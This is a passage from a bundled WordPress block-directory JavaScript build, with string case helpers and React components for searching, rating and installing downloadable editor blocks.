865 });
866 }
867 return path;
868}
869
870/* harmony default export */ const tslib_es6 = ({
871 __extends,
872 __assign,
873 __rest,
874 __decorate,
875 __param,
876 __esDecorate,
877 __runInitializers,
878 __propKey,
879 __setFunctionName,
880 __metadata,
881 __awaiter,
882 __generator,
883 __createBinding,
884 __exportStar,
885 __values,
886 __read,
887 __spread,
888 __spreadArrays,
889 __spreadArray,
890 __await,
891 __asyncGenerator,
892 __asyncDelegator,
893 __asyncValues,
894 __makeTemplateObject,
895 __importStar,
896 __importDefault,
897 __classPrivateFieldGet,
898 __classPrivateFieldSet,
899 __classPrivateFieldIn,
900 __addDisposableResource,
901 __disposeResources,
902 __rewriteRelativeImportExtension,
903});
904
905;// ./node_modules/lower-case/dist.es2015/index.js
906/**
907 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
908 */
909var SUPPORTED_LOCALE = {
910 tr: {
911 regexp: /\u0130|\u0049|\u0049\u0307/g,
912 map: {
913 İ: "\u0069",
914 I: "\u0131",
915 İ: "\u0069",
916 },
917 },
918 az: {
919 regexp: /\u0130/g,
920 map: {
921 İ: "\u0069",
922 I: "\u0131",
923 İ: "\u0069",
924 },
925 },
926 lt: {
927 regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
928 map: {
929 I: "\u0069\u0307",
930 J: "\u006A\u0307",
931 Į: "\u012F\u0307",
932 Ì: "\u0069\u0307\u0300",
933 Í: "\u0069\u0307\u0301",
934 Ĩ: "\u0069\u0307\u0303",
935 },
936 },
937};
938/**
939 * Localized lower case.
940 */
941function localeLowerCase(str, locale) {
942 var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
943 if (lang)
944 return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
945 return lowerCase(str);
946}
947/**
948 * Lower case as a function.
949 */
950function lowerCase(str) {
951 return str.toLowerCase();
952}
953
954;// ./node_modules/no-case/dist.es2015/index.js
955
956// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
957var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
958// Remove all non-word characters.
959var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
960/**
961 * Normalize the string into something other libraries can manipulate easier.
962 */
963function noCase(input, options) {
964 if (options === void 0) { options = {}; }
965 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
966 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
967 var start = 0;
968 var end = result.length;
969 // Trim the delimiter from around the output string.
970 while (result.charAt(start) === "\0")
971 start++;
972 while (result.charAt(end - 1) === "\0")
973 end--;
974 // Transform each token independently.
975 return result.slice(start, end).split("\0").map(transform).join(delimiter);
976}
977/**
978 * Replace `re` in the input string with the replacement value.
979 */
980function replace(input, re, value) {
981 if (re instanceof RegExp)
982 return input.replace(re, value);
983 return re.reduce(function (input, re) { return input.replace(re, value); }, input);
984}
985
986;// ./node_modules/pascal-case/dist.es2015/index.js
987
988
989function pascalCaseTransform(input, index) {
990 var firstChar = input.charAt(0);
991 var lowerChars = input.substr(1).toLowerCase();
992 if (index > 0 && firstChar >= "0" && firstChar <= "9") {
993 return "_" + firstChar + lowerChars;
994 }
995 return "" + firstChar.toUpperCase() + lowerChars;
996}
997function dist_es2015_pascalCaseTransformMerge(input) {
998 return input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();
999}
1000function pascalCase(input, options) {
1001 if (options === void 0) { options = {}; }
1002 return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options));
1003}
1004
1005;// ./node_modules/camel-case/dist.es2015/index.js
1006
1007
1008function camelCaseTransform(input, index) {
1009 if (index === 0)
1010 return input.toLowerCase();
1011 return pascalCaseTransform(input, index);
1012}
1013function camelCaseTransformMerge(input, index) {
1014 if (index === 0)
1015 return input.toLowerCase();
1016 return pascalCaseTransformMerge(input);
1017}
1018function camelCase(input, options) {
1019 if (options === void 0) { options = {}; }
1020 return pascalCase(input, __assign({ transform: camelCaseTransform }, options));
1021}
1022
1023;// ./node_modules/@wordpress/block-directory/build-module/store/resolvers.js
1024
1025
1026
1027const resolvers_getDownloadableBlocks = (filterValue) => async ({ dispatch }) => {
1028 if (!filterValue) {
1029 return;
1030 }
1031 try {
1032 dispatch(fetchDownloadableBlocks(filterValue));
1033 const results = await external_wp_apiFetch_default()({
1034 path: `wp/v2/block-directory/search?term=${filterValue}`
1035 });
1036 const blocks = results.map(
1037 (result) => Object.fromEntries(
1038 Object.entries(result).map(([key, value]) => [
1039 camelCase(key),
1040 value
1041 ])
1042 )
1043 );
1044 dispatch(receiveDownloadableBlocks(blocks, filterValue));
1045 } catch {
1046 dispatch(receiveDownloadableBlocks([], filterValue));
1047 }
1048};
1049
1050
1051;// ./node_modules/@wordpress/block-directory/build-module/store/index.js
1052
1053
1054
1055
1056
1057const STORE_NAME = "core/block-directory";
1058const storeConfig = {
1059 reducer: reducer_default,
1060 selectors: selectors_namespaceObject,
1061 actions: actions_namespaceObject,
1062 resolvers: resolvers_namespaceObject
1063};
1064const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, storeConfig);
1065(0,external_wp_data_namespaceObject.register)(store);
1066
1067
1068;// ./node_modules/@wordpress/block-directory/build-module/components/auto-block-uninstaller/index.js
1069
1070
1071
1072
1073
1074function AutoBlockUninstaller() {
1075 const { uninstallBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store);
1076 const shouldRemoveBlockTypes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1077 const { isAutosavingPost, isSavingPost } = select(external_wp_editor_namespaceObject.store);
1078 return isSavingPost() && !isAutosavingPost();
1079 }, []);
1080 const unusedBlockTypes = (0,external_wp_data_namespaceObject.useSelect)(
1081 (select) => select(store).getUnusedBlockTypes(),
1082 []
1083 );
1084 (0,external_wp_element_namespaceObject.useEffect)(() => {
1085 if (shouldRemoveBlockTypes && unusedBlockTypes.length) {
1086 unusedBlockTypes.forEach((blockType) => {
1087 uninstallBlockType(blockType);
1088 (0,external_wp_blocks_namespaceObject.unregisterBlockType)(blockType.name);
1089 });
1090 }
1091 }, [shouldRemoveBlockTypes]);
1092 return null;
1093}
1094
1095
1096;// external ["wp","compose"]
1097const external_wp_compose_namespaceObject = window["wp"]["compose"];
1098;// external ["wp","components"]
1099const external_wp_components_namespaceObject = window["wp"]["components"];
1100;// external ["wp","coreData"]
1101const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
1102;// ./node_modules/clsx/dist/clsx.mjs
1103function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
1104;// external ["wp","htmlEntities"]
1105const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
1106;// ./node_modules/@wordpress/icons/build-module/icon/index.js
1107
1108var icon_default = (0,external_wp_element_namespaceObject.forwardRef)(
1109 ({ icon, size = 24, ...props }, ref) => {
1110 return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
1111 width: size,
1112 height: size,
1113 ...props,
1114 ref
1115 });
1116 }
1117);
1118
1119
1120;// external ["wp","primitives"]
1121const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
1122;// ./node_modules/@wordpress/icons/build-module/library/star-filled.js
1123
1124
1125var star_filled_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z" }) });
1126
1127
1128;// ./node_modules/@wordpress/icons/build-module/library/star-half.js
1129
1130
1131var star_half_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9.518 8.783a.25.25 0 00.188-.137l2.069-4.192a.25.25 0 01.448 0l2.07 4.192a.25.25 0 00.187.137l4.626.672a.25.25 0 01.139.427l-3.347 3.262a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.363.264l-4.137-2.176a.25.25 0 00-.233 0l-4.138 2.175a.25.25 0 01-.362-.263l.79-4.607a.25.25 0 00-.072-.222L4.753 9.882a.25.25 0 01.14-.427l4.625-.672zM12 14.533c.28 0 .559.067.814.2l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39v7.143z" }) });
1132
1133
1134;// ./node_modules/@wordpress/icons/build-module/library/star-empty.js
1135
1136
1137var star_empty_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1138 external_wp_primitives_namespaceObject.Path,
1139 {
1140 fillRule: "evenodd",
1141 d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z",
1142 clipRule: "evenodd"
1143 }
1144) });
1145
1146
1147;// ./node_modules/@wordpress/block-directory/build-module/components/block-ratings/stars.js
1148
1149
1150
1151function Stars({ rating }) {
1152 const stars = Math.round(rating / 0.5) * 0.5;
1153 const fullStarCount = Math.floor(rating);
1154 const halfStarCount = Math.ceil(rating - fullStarCount);
1155 const emptyStarCount = 5 - (fullStarCount + halfStarCount);
1156 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
1157 "span",
1158 {
1159 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
1160 /* translators: %s: number of stars. */
1161 (0,external_wp_i18n_namespaceObject.__)("%s out of 5 stars"),
1162 stars
1163 ),
1164 children: [
1165 Array.from({ length: fullStarCount }).map((_, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1166 icon_default,
1167 {
1168 className: "block-directory-block-ratings__star-full",
1169 icon: star_filled_default,
1170 size: 16
1171 },
1172 `full_stars_${i}`
1173 )),
1174 Array.from({ length: halfStarCount }).map((_, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1175 icon_default,
1176 {
1177 className: "block-directory-block-ratings__star-half-full",
1178 icon: star_half_default,
1179 size: 16
1180 },
1181 `half_stars_${i}`
1182 )),
1183 Array.from({ length: emptyStarCount }).map((_, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1184 icon_default,
1185 {
1186 className: "block-directory-block-ratings__star-empty",
1187 icon: star_empty_default,
1188 size: 16
1189 },
1190 `empty_stars_${i}`
1191 ))
1192 ]
1193 }
1194 );
1195}
1196var stars_default = Stars;
1197
1198
1199;// ./node_modules/@wordpress/block-directory/build-module/components/block-ratings/index.js
1200
1201
1202const BlockRatings = ({ rating }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-block-ratings", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(stars_default, { rating }) });
1203var block_ratings_default = BlockRatings;
1204
1205
1206;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-icon/index.js
1207
1208
1209function DownloadableBlockIcon({ icon }) {
1210 const className = "block-directory-downloadable-block-icon";
1211 return icon.match(/\.(jpeg|jpg|gif|png|svg)(?:\?.*)?$/) !== null ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { className, src: icon, alt: "" }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { className, icon, showColors: true });
1212}
1213var downloadable_block_icon_default = DownloadableBlockIcon;
1214
1215
1216;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-notice/index.js
1217
1218
1219
1220
1221const DownloadableBlockNotice = ({ block }) => {
1222 const errorNotice = (0,external_wp_data_namespaceObject.useSelect)(
1223 (select) => select(store).getErrorNoticeForBlock(block.id),
1224 [block]
1225 );
1226 if (!errorNotice) {
1227 return null;
1228 }
1229 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-downloadable-block-notice", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-block-notice__content", children: [
1230 errorNotice.message,
1231 errorNotice.isFatal ? " " + (0,external_wp_i18n_namespaceObject.__)("Try reloading the page.") : null
1232 ] }) });
1233};
1234var downloadable_block_notice_default = DownloadableBlockNotice;
1235
1236
1237;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-block-list-item/index.js
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250function getDownloadableBlockLabel({ title, rating, ratingCount }, { hasNotice, isInstalled, isInstalling }) {
1251 const stars = Math.round(rating / 0.5) * 0.5;
1252 if (!isInstalled && hasNotice) {
1253 return (0,external_wp_i18n_namespaceObject.sprintf)("Retry installing %s.", (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title));
1254 }
1255 if (isInstalled) {
1256 return (0,external_wp_i18n_namespaceObject.sprintf)("Add %s.", (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title));
1257 }
1258 if (isInstalling) {
1259 return (0,external_wp_i18n_namespaceObject.sprintf)("Installing %s.", (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title));
1260 }
1261 if (ratingCount < 1) {
1262 return (0,external_wp_i18n_namespaceObject.sprintf)("Install %s.", (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title));
1263 }
1264 return (0,external_wp_i18n_namespaceObject.sprintf)(
1265 /* translators: 1: block title, 2: average rating, 3: total ratings count. */
1266 (0,external_wp_i18n_namespaceObject._n)(
1267 "Install %1$s. %2$s stars with %3$s review.",
1268 "Install %1$s. %2$s stars with %3$s reviews.",
1269 ratingCount
1270 ),
1271 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title),
1272 stars,
1273 ratingCount
1274 );
1275}
1276function DownloadableBlockListItem({ item, onClick }) {
1277 const { author, description, icon, rating, title } = item;
1278 const isInstalled = !!(0,external_wp_blocks_namespaceObject.getBlockType)(item.name);
1279 const { hasNotice, isInstalling, isInstallable } = (0,external_wp_data_namespaceObject.useSelect)(
1280 (select) => {
1281 const { getErrorNoticeForBlock, isInstalling: isBlockInstalling } = select(store);
1282 const notice = getErrorNoticeForBlock(item.id);
1283 const hasFatal = notice && notice.isFatal;
1284 return {
1285 hasNotice: !!notice,
1286 isInstalling: isBlockInstalling(item.id),
1287 isInstallable: !hasFatal
1288 };
1289 },
1290 [item]
1291 );
1292 let statusText = "";
1293 if (isInstalled) {
1294 statusText = (0,external_wp_i18n_namespaceObject.__)("Installed!");
1295 } else if (isInstalling) {
1296 statusText = (0,external_wp_i18n_namespaceObject.__)("Installing\u2026");
1297 }
1298 const itemLabel = getDownloadableBlockLabel(item, {
1299 hasNotice,
1300 isInstalled,
1301 isInstalling
1302 });
1303 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { placement: "top", text: itemLabel, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
1304 external_wp_components_namespaceObject.Composite.Item,
1305 {
1306 className: dist_clsx(
1307 "block-directory-downloadable-block-list-item",
1308 isInstalling && "is-installing"
1309 ),
1310 accessibleWhenDisabled: true,
1311 disabled: isInstalling || !isInstallable,
1312 onClick: (event) => {
1313 event.preventDefault();
1314 onClick();
1315 },
1316 "aria-label": itemLabel,
1317 type: "button",
1318 role: "option",
1319 children: [
1320 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-block-list-item__icon", children: [
1321 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_icon_default, { icon, title }),
1322 isInstalling ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__spinner", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_ratings_default, { rating })
1323 ] }),
1324 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { className: "block-directory-downloadable-block-list-item__details", children: [
1325 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__title", children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
1326 (0,external_wp_i18n_namespaceObject.sprintf)(
1327 /* translators: 1: block title. 2: author name. */
1328 (0,external_wp_i18n_namespaceObject.__)("%1$s <span>by %2$s</span>"),
1329 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title),
1330 author
1331 ),
1332 {
1333 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__author" })
1334 }
1335 ) }),
1336 hasNotice ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_notice_default, { block: item }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1337 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__desc", children: !!statusText ? statusText : (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(description) }),
1338 isInstallable && !(isInstalled || isInstalling) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { children: (0,external_wp_i18n_namespaceObject.__)("Install block") })
1339 ] })
1340 ] })
1341 ]
1342 }
1343 ) });
1344}
1345var downloadable_block_list_item_default = DownloadableBlockListItem;
1346
1347
1348;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-list/index.js
1349
1350
1351
1352
1353
1354
1355
1356const noop = () => {
1357};
1358function DownloadableBlocksList({ items, onHover = noop, onSelect }) {
1359 const { installBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store);
1360 if (!items.length) {
1361 return null;
1362 }
1363 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1364 external_wp_components_namespaceObject.Composite,
1365 {
1366 role: "listbox",
1367 className: "block-directory-downloadable-blocks-list",
1368 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Blocks available for install"),
1369 children: items.map((item) => {
1370 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1371 downloadable_block_list_item_default,
1372 {
1373 onClick: () => {
1374 if ((0,external_wp_blocks_namespaceObject.getBlockType)(item.name)) {
1375 onSelect(item);
1376 } else {
1377 installBlockType(item).then((success) => {
1378 if (success) {
1379 onSelect(item);
1380 }
1381 });
1382 }
1383 onHover(null);
1384 },
1385 onHover,
1386 item
1387 },
1388 item.id
1389 );
1390 })
1391 }
1392 );
1393}
1394var downloadable_blocks_list_default = DownloadableBlocksList;
1395
1396
1397;// external ["wp","a11y"]
1398const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
1399;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/inserter-panel.js
1400
1401
1402
1403
1404function DownloadableBlocksInserterPanel({
1405 children,
1406 downloadableItems,
1407 hasLocalBlocks
1408}) {
1409 const count = downloadableItems.length;
1410 (0,external_wp_element_namespaceObject.useEffect)(() => {
1411 (0,external_wp_a11y_namespaceObject.speak)(
1412 (0,external_wp_i18n_namespaceObject.sprintf)(
1413 /* translators: %d: number of available blocks. */
1414 (0,external_wp_i18n_namespaceObject._n)(
1415 "%d additional block is available to install.",
1416 "%d additional blocks are available to install.",
1417 count
1418 ),
1419 count
1420 )
1421 );
1422 }, [count]);
1423 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1424 !hasLocalBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__no-local", children: (0,external_wp_i18n_namespaceObject.__)("No results available from your installed blocks.") }),
1425 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" }),
1426 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-blocks-panel", children: [
1427 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-blocks-panel__header", children: [
1428 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "block-directory-downloadable-blocks-panel__title", children: (0,external_wp_i18n_namespaceObject.__)("Available to install") }),
1429 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__description", children: (0,external_wp_i18n_namespaceObject.__)(
1430 "Select a block to install and add it to your post."
1431 ) })
1432 ] }),
1433 children
1434 ] })
1435 ] });
1436}
1437var inserter_panel_default = DownloadableBlocksInserterPanel;
1438
1439
1440;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/no-results.js
1441
1442
1443
1444function DownloadableBlocksNoResults() {
1445 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1446 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__no-results", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("No results found.") }) }),
1447 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__tips", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Tip, { children: [
1448 (0,external_wp_i18n_namespaceObject.__)("Interested in creating your own block?"),
1449 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
1450 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.wordpress.org/block-editor/", children: [
1451 (0,external_wp_i18n_namespaceObject.__)("Get started here"),
1452 "."
1453 ] })
1454 ] }) })
1455 ] });
1456}
1457var no_results_default = DownloadableBlocksNoResults;
1458
1459
1460;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/index.js
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471const downloadable_blocks_panel_EMPTY_ARRAY = [];
1472const useDownloadableBlocks = (filterValue) => (0,external_wp_data_namespaceObject.useSelect)(
1473 (select) => {
1474 const {
1475 getDownloadableBlocks,
1476 isRequestingDownloadableBlocks,
1477 getInstalledBlockTypes
1478 } = select(store);
1479 const hasPermission = select(external_wp_coreData_namespaceObject.store).canUser(
1480 "read",
1481 "block-directory/search"
1482 );
1483 let downloadableBlocks = downloadable_blocks_panel_EMPTY_ARRAY;
1484 if (hasPermission) {
1485 downloadableBlocks = getDownloadableBlocks(filterValue);
1486 const installedBlockTypes = getInstalledBlockTypes();
1487 const installableBlocks = downloadableBlocks.filter(
1488 ({ name }) => {
1489 const isJustInstalled = installedBlockTypes.some(
1490 (blockType) => blockType.name === name
1491 );
1492 const isPreviouslyInstalled = (0,external_wp_blocks_namespaceObject.getBlockType)(name);
1493 return isJustInstalled || !isPreviouslyInstalled;
1494 }
1495 );
1496 if (installableBlocks.length !== downloadableBlocks.length) {
1497 downloadableBlocks = installableBlocks;
1498 }
1499 if (downloadableBlocks.length === 0) {
1500 downloadableBlocks = downloadable_blocks_panel_EMPTY_ARRAY;
1501 }
1502 }
1503 return {
1504 hasPermission,
1505 downloadableBlocks,
1506 isLoading: isRequestingDownloadableBlocks(filterValue)
1507 };
1508 },
1509 [filterValue]
1510);
1511function DownloadableBlocksPanel({
1512 onSelect,
1513 onHover,
1514 hasLocalBlocks,
1515 isTyping,
1516 filterValue
1517}) {
1518 const { hasPermission, downloadableBlocks, isLoading } = useDownloadableBlocks(filterValue);
1519 if (hasPermission === void 0 || isLoading || isTyping) {
1520 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1521 hasPermission && !hasLocalBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1522 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__no-local", children: (0,external_wp_i18n_namespaceObject.__)(
1523 "No results available from your installed blocks."
1524 ) }),
1525 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" })
1526 ] }),
1527 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-downloadable-blocks-panel has-blocks-loading", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })
1528 ] });
1529 }
1530 if (false === hasPermission) {
1531 if (!hasLocalBlocks) {
1532 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results_default, {});
1533 }
1534 return null;
1535 }
1536 if (downloadableBlocks.length === 0) {
1537 return hasLocalBlocks ? null : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results_default, {});
1538 }
1539 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1540 inserter_panel_default,
1541 {
1542 downloadableItems: downloadableBlocks,
1543 hasLocalBlocks,
1544 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1545 downloadable_blocks_list_default,
1546 {
1547 items: downloadableBlocks,
1548 onSelect,
1549 onHover
1550 }
1551 )
1552 }
1553 );
1554}
1555
1556
1557;// ./node_modules/@wordpress/block-directory/build-module/plugins/inserter-menu-downloadable-blocks-panel/index.js
1558
1559
1560
1561
1562
1563function InserterMenuDownloadableBlocksPanel() {
1564 const [debouncedFilterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)("");
1565 const debouncedSetFilterValue = (0,external_wp_compose_namespaceObject.debounce)(setFilterValue, 400);
1566 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableInserterMenuExtension, { children: ({ onSelect, onHover, filterValue, hasItems }) => {
1567 if (debouncedFilterValue !== filterValue) {
1568 debouncedSetFilterValue(filterValue);
1569 }
1570 if (!debouncedFilterValue) {
1571 return null;
1572 }
1573 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1574 DownloadableBlocksPanel,
1575 {
1576 onSelect,
1577 onHover,
1578 filterValue: debouncedFilterValue,
1579 hasLocalBlocks: hasItems,
1580 isTyping: filterValue !== debouncedFilterValue
1581 }
1582 );
1583 } });
1584}
1585var inserter_menu_downloadable_blocks_panel_default = InserterMenuDownloadableBlocksPanel;
1586
1587
1588;// ./node_modules/@wordpress/block-directory/build-module/components/compact-list/index.js
1589
1590
1591
1592function CompactList({ items }) {
1593 if (!items.length) {
1594 return null;
1595 }
